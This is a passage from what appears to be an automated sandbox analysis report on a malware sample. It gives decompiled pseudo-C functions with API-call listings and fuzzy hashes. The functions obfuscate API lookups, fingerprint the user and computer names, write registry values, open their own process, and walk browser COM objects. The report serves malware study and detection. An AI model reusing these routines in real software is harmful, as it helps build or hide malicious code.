							_t33 =  *0x92d27c; // 0x298a5a8
							_t7 = _t33 + 0x92e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x92d27c; // 0x298a5a8
								_t9 = _t36 + 0x92e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x92d27c; // 0x298a5a8
									_t11 = _t39 + 0x92e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E0092727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0092693b
0x0092693f
0x00926a01
0x00926945
0x00926945
0x0092694a
0x0092695d
0x0092695f
0x00926964
0x0092696c
0x00926973
0x00926977
0x0092697a
0x009269f9
0x009269fa
0x0092697c
0x0092697c
0x00926981
0x00926989
0x0092698d
0x00926990
0x00000000
0x00926992
0x00926992
0x00926997
0x0092699f
0x009269a3
0x009269a6
0x00000000
0x009269a8
0x009269a8
0x009269ad
0x009269b5
0x009269b9
0x009269bc
0x00000000
0x009269be
0x009269be
0x009269c3
0x009269cb
0x009269cf
0x009269d2
0x00000000
0x009269d4
0x009269da
0x009269df
0x009269e6
0x009269ed
0x009269f0
0x00000000
0x009269f2
0x009269f5
0x009269f5
0x009269f0
0x009269d2
0x009269bc
0x009269a6
0x00926990
0x0092697a
0x00926a0f

APIs

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0092207A,?,00000001,?,?,00000000,00000000), ref: 00926951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 00926973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 00926989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0092699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 009269B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 009269CB

Part of subcall function 0092727B: memset.NTDLL ref: 009272FA

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 63f7f05c41133a667dc6b576b0eccccd0d1bbf1bf58f4a5534a321ee1caa6927
Instruction ID: 3d27ffb60f40c6e9ed63885d90dac7a37efe22791b6a992d17b0947938b8bcc4
Opcode Fuzzy Hash: 63f7f05c41133a667dc6b576b0eccccd0d1bbf1bf58f4a5534a321ee1caa6927
Instruction Fuzzy Hash: 0F2171B150161AEFEB20DFBDEC84E6A77ECEB083407014569EA18D7215D734E9059B60

Uniqueness

Uniqueness Score: -1.00%

Function 00927649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00927649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E00922049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E00929039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x92a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x00927657
0x0092765a
0x0092765d
0x00927663
0x00927668
0x0092766e
0x00927676
0x00927679
0x0092767f
0x00927684
0x00927691
0x0092769e
0x009276a2
0x009276a4
0x009276a8
0x009276ab
0x009276bb
0x0092770d
0x0092770e
0x009276bd
0x009276c0
0x009276c7
0x009276ca
0x009276dd
0x00000000
0x009276df
0x009276e2
0x009276e7
0x009276f5
0x009276f8
0x00927700
0x00927703
0x00000000
0x00927705
0x00927705
0x00927708
0x00927708
0x00927703
0x009276dd
0x00927713
0x00927714
0x00927684
0x0092771a

APIs

GetUserNameW.ADVAPI32(00000000,0092A338), ref: 0092765D
GetComputerNameW.KERNEL32(00000000,0092A338), ref: 00927679

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

GetUserNameW.ADVAPI32(00000000,0092A338), ref: 009276B3
GetComputerNameW.KERNEL32(0092A338,?), ref: 009276D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,0092A338,00000000,0092A33A,00000000,00000000,?,?,0092A338), ref: 009276F8

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 2a7ae18fdcc56d64c6fffe7ffa63a41c30fe05479c3b13898e15996fd19eb9f7
Instruction ID: f852a96740516b36fdfa64f139c3167318bf92afaeffe0af1d2068a4050aadb8
Opcode Fuzzy Hash: 2a7ae18fdcc56d64c6fffe7ffa63a41c30fe05479c3b13898e15996fd19eb9f7
Instruction Fuzzy Hash: 6521D4B6914218FBCB21DFE9D9848AEBBBCEE44300B5044AAE501E7214EB349F45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00921585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00921585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E00927F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0092A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x92d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x00921585
0x00921592
0x00921594
0x009215f7
0x00000000
0x009215f7
0x009215ac
0x009215b3
0x009215bf
0x009215c4
0x009215c6
0x009215c8
0x009215ca
0x009215cc
0x009215ce
0x009215da
0x009215ea
0x00000000
0x009215dc
0x009215dc
0x009215e3
0x009215f0
0x009215f0
0x009215f0
0x009215e3
0x009215da
0x009215f5
0x00000000
0x00000000
0x009215fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,009211DA,?,?,00000000,00000000), ref: 009215BF
ResetEvent.KERNEL32(?), ref: 009215C4
GetLastError.KERNEL32 ref: 009215DC
GetLastError.KERNEL32(?,?,00000102,009211DA,?,?,00000000,00000000), ref: 009215F7

Part of subcall function 00927F27: lstrlen.KERNEL32(00000000,00000008,?,74B04D40,?,?,009215A4,?,?,?,?,00000102,009211DA,?,?,00000000), ref: 00927F33
Part of subcall function 00927F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,009215A4,?,?,?,?,00000102,009211DA,?), ref: 00927F91
Part of subcall function 00927F27: lstrcpy.KERNEL32(00000000,00000000), ref: 00927FA1

SetEvent.KERNEL32(?), ref: 009215EA

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: bd9717a777a25ef6b8be6eeaf8563c00f8e7691e783e19ef6bcc3e01585c40f8
Instruction ID: 0a71bb907e730d1f0bbe69a1e56a54a3664c075fc7136f966e6304e1946adc53
Opcode Fuzzy Hash: bd9717a777a25ef6b8be6eeaf8563c00f8e7691e783e19ef6bcc3e01585c40f8
Instruction Fuzzy Hash: 7F01AD71118321ABDA306B21FC44F1BB6A8EFA6360F204A25F152A10F4DA20E825AA65

Uniqueness

Uniqueness Score: -1.00%

Function 00928F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00928F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x92d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x92d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x92d258 = _t6;
					 *0x92d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x92d254 = _t7;
					if(_t7 == 0) {
						 *0x92d254 =  *0x92d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x00928f18
0x00928f20
0x00928f25
0x00000000
0x00928f7a
0x00928f27
0x00928f2f
0x00928f37
0x00928f37
0x00928f77
0x00000000
0x00928f77
0x00928f39
0x00928f39
0x00928f3e
0x00928f50
0x00928f55
0x00928f5b
0x00928f63
0x00928f68
0x00928f6a
0x00928f6a
0x00000000
0x00928f71
0x00928f33
0x00000000
0x00000000
0x00928f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00926A90,?,?,00000001,?,?,?,0092807D,?), ref: 00928F18
GetVersion.KERNEL32(?,00000001,?,?,?,0092807D,?), ref: 00928F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,0092807D,?), ref: 00928F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,0092807D,?), ref: 00928F5B
GetLastError.KERNEL32(?,00000001,?,?,?,0092807D,?), ref: 00928F7A

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 6af57e722463bd1112e40aaca4ea46adb0bee4c45ecbd12dccf8009c4d2d9fab
Instruction ID: 288cc6f25397ba6e0358b5c3c8e4f21f934cdec998f4ecd6fab363bafac0e2c4
Opcode Fuzzy Hash: 6af57e722463bd1112e40aaca4ea46adb0bee4c45ecbd12dccf8009c4d2d9fab
Instruction Fuzzy Hash: ADF0C2B06AF351DAEB308F24BE08B5A3B66A744781F000619E552D61E8DA708443EF54

Uniqueness

Uniqueness Score: -1.00%

Function 009217D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E009217D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x92d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E0092809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E009288B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E00929039(_a8);
						goto L29;
					}
					_t65 =  *0x92d27c; // 0x298a5a8
					_t16 = _t65 + 0x92e8fe; // 0x65696c43
					_t68 = E0092809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d0092c0
						if(E0092A635(_t103,  *_t33, _t97, _a8,  *0x92d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x92d27c; // 0x298a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x92ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x92e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E0092816C(_t73,  *0x92d334,  *0x92d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x92d27c; // 0x298a5a8
									_t44 = _t75 + 0x92e871; // 0x74666f53
									_t78 = E0092809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d0092c0
										E00922659( *_t47, _t97, _a8,  *0x92d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d0092c0
										E00922659( *_t49, _t97, _t105,  *0x92d330, _a16);
										E00929039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d0092c0
									E00922659( *_t40, _t97, _a8,  *0x92d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d0092c0
									E00922659( *_t43, _t97, _a8,  *0x92d330, _a16);
								}
								if( *_t107 != 0) {
									E00929039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d0092c0
					if(E00926BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d0092c0
							E0092A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E00929039(_t106);
						_t104 = _a16;
					}
					E00929039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E0092A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x92d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x009217d5
0x009217de
0x009217e5
0x009217ea
0x00921857
0x0092185d
0x00921862
0x0092186b
0x00921872
0x00921875
0x009219e9
0x009219f0
0x009219f0
0x009219f5
0x009219f7
0x009219f7
0x00921a00
0x00921a00
0x0092187b
0x00921887
0x009219df
0x009219e2
0x00000000
0x009219e2
0x0092188d
0x00921892
0x0092189b
0x009218a2
0x009218a5
0x009218ef
0x009218ef
0x00921902
0x0092190c
0x00921914
0x00921919
0x00921923
0x00921923
0x0092191b
0x0092191b
0x0092191b
0x0092191b
0x00921945
0x0092194d
0x0092197b
0x00921980
0x00921989
0x0092198e
0x00921992
0x009219c4
0x00921994
0x009219a1
0x009219a4
0x009219b4
0x009219b7
0x009219bd
0x009219bd
0x0092194f
0x0092195c
0x0092195f
0x00921971
0x00921974
0x00921974
0x009219ce
0x009219da
0x009219d0
0x009219d3
0x009219d3
0x009219ce
0x00921945
0x00000000
0x0092190c
0x009218b4
0x009218be
0x009218c0
0x009218c5
0x009218c9
0x009218cb
0x009218d6
0x009218d9
0x009218d9
0x009218df
0x009218e4
0x009218e4
0x009218ea
0x00000000
0x009218ea
0x009217ef
0x00000000
0x00921816
0x00921816
0x00921822
0x00921835
0x0092183b
0x00921843
0x00000000
0x00921843

APIs

StrChrA.SHLWAPI(00923C81,0000005F,00000000,00000000,00000104), ref: 00921808
lstrcpy.KERNEL32(?,?), ref: 00921835

Part of subcall function 0092809F: lstrlen.KERNEL32(?,00000000,0092D330,00000001,00922200,0092D00C,0092D00C,00000000,00000005,00000000,00000000,?,?,?,009296C1,009223E9), ref: 009280A8
Part of subcall function 0092809F: mbstowcs.NTDLL ref: 009280CF
Part of subcall function 0092809F: memset.NTDLL ref: 009280E1

Part of subcall function 00922659: lstrlenW.KERNEL32(00923C81,?,?,009219A9,3D0092C0,80000002,00923C81,00928B1E,74666F53,4D4C4B48,00928B1E,?,3D0092C0,80000002,00923C81,?), ref: 00922679

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

lstrcpy.KERNEL32(?,00000000), ref: 00921857

Strings

\, xrefs: 0092183B

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 5a98b532dc2bc84eebe2a9500b72f5f92d12659751b6d508167cd9208727f4bb
Instruction ID: b77f45671a471ce3875ca180cd17504b4f20888d116ba22548447160c10472b6
Opcode Fuzzy Hash: 5a98b532dc2bc84eebe2a9500b72f5f92d12659751b6d508167cd9208727f4bb
Instruction Fuzzy Hash: BC51777650022AFFDF21EFA0FC81EAA37BEEF58304F108415FA1592125D731D966AB50

Uniqueness

Uniqueness Score: -1.00%

Function 009252F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E009252F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x92d27c; // 0x298a5a8
					_t5 = _t102 + 0x92e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x92c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x92d27c; // 0x298a5a8
												_t28 = _t108 + 0x92e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x92d27c; // 0x298a5a8
														_t33 = _t78 + 0x92e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x009252fe
0x00925307
0x00925308
0x0092530c
0x00925312
0x00925318
0x00925321
0x00925327
0x00925331
0x00925333
0x00925339
0x0092533e
0x00925349
0x00925351
0x00925354
0x00925477
0x0092535a
0x0092535a
0x00925367
0x0092536d
0x00925373
0x00925377
0x0092537d
0x0092538a
0x0092538e
0x00925394
0x00925397
0x0092539d
0x009253a3
0x009253a9
0x009253ac
0x009253af
0x009253b5
0x009253be
0x009253c4
0x009253c5
0x009253c8
0x009253c9
0x009253ca
0x009253d2
0x009253d3
0x009253d4
0x009253d6
0x009253da
0x009253de
0x00000000
0x00000000
0x009253e4
0x009253ed
0x009253f3
0x009253fd
0x00925401
0x00925403
0x00925410
0x00925414
0x0092541c
0x00925421
0x00925433
0x00925435
0x0092543b
0x0092543b
0x00925444
0x00925444
0x00925446
0x0092544c
0x0092544c
0x0092544f
0x00925455
0x00925458
0x00925461
0x00000000
0x00000000
0x00000000
0x00925461
0x009253b5
0x009253af
0x00925397
0x00925467
0x00925467
0x0092546d
0x0092546d
0x00925473
0x00925473
0x0092547c
0x00925482
0x00925482
0x0092533e
0x0092548b

APIs

SysAllocString.OLEAUT32(0092C2B0), ref: 00925349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0092542B
SysFreeString.OLEAUT32(00000000), ref: 00925444
SysFreeString.OLEAUT32(?), ref: 00925473

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: ad22abad52e022368ac6eb086a136d67e10c5364f898859c6193c17ce6d3f583
Instruction ID: 463c94349a6f77f36385f0d3ffff4dbf15acbe2283ef4ca159e7bbe4cc2c1342
Opcode Fuzzy Hash: ad22abad52e022368ac6eb086a136d67e10c5364f898859c6193c17ce6d3f583
Instruction Fuzzy Hash: 81515D71D00519EFCB10EFA8D8889AEF7BAEF88705B154588E915EB224D7719D42CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00921017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00921017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E0092A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E0092968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E00928967(_t101,  &_v236, _a8, _t96 - _t81);
					E00928967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E0092968F(_t101, 0x92d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E0092968F(_a16, _a4);
						E00921D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0092B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0092B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E00921FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E00928B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E00929100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x92d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0092101a
0x00921026
0x0092102c
0x00921031
0x00921035
0x00921192
0x00921196
0x00921196
0x0092103b
0x0092103f
0x00921045
0x00921046
0x00921051
0x00921057
0x0092105c
0x0092105f
0x00921079
0x00921085
0x0092108e
0x00921098
0x0092109d
0x0092109f
0x009210a2
0x00921150
0x00921156
0x00921167
0x0092117a
0x0092118a
0x00000000
0x0092118f
0x009210ab
0x009210b2
0x009210b6
0x009210bc
0x009210be
0x009210c0
0x009210c2
0x009210c4
0x009210ce
0x009210d3
0x009210d5
0x009210d7
0x009210d8
0x009210d9
0x009210da
0x009210e1
0x009210e8
0x009210eb
0x009210eb
0x009210b8
0x009210b8
0x009210b8
0x009210f3
0x009210fb
0x00921104
0x00921109
0x00921109
0x0092110e
0x00000000
0x00000000
0x00921110
0x00921113
0x0092111d
0x00000000
0x00000000
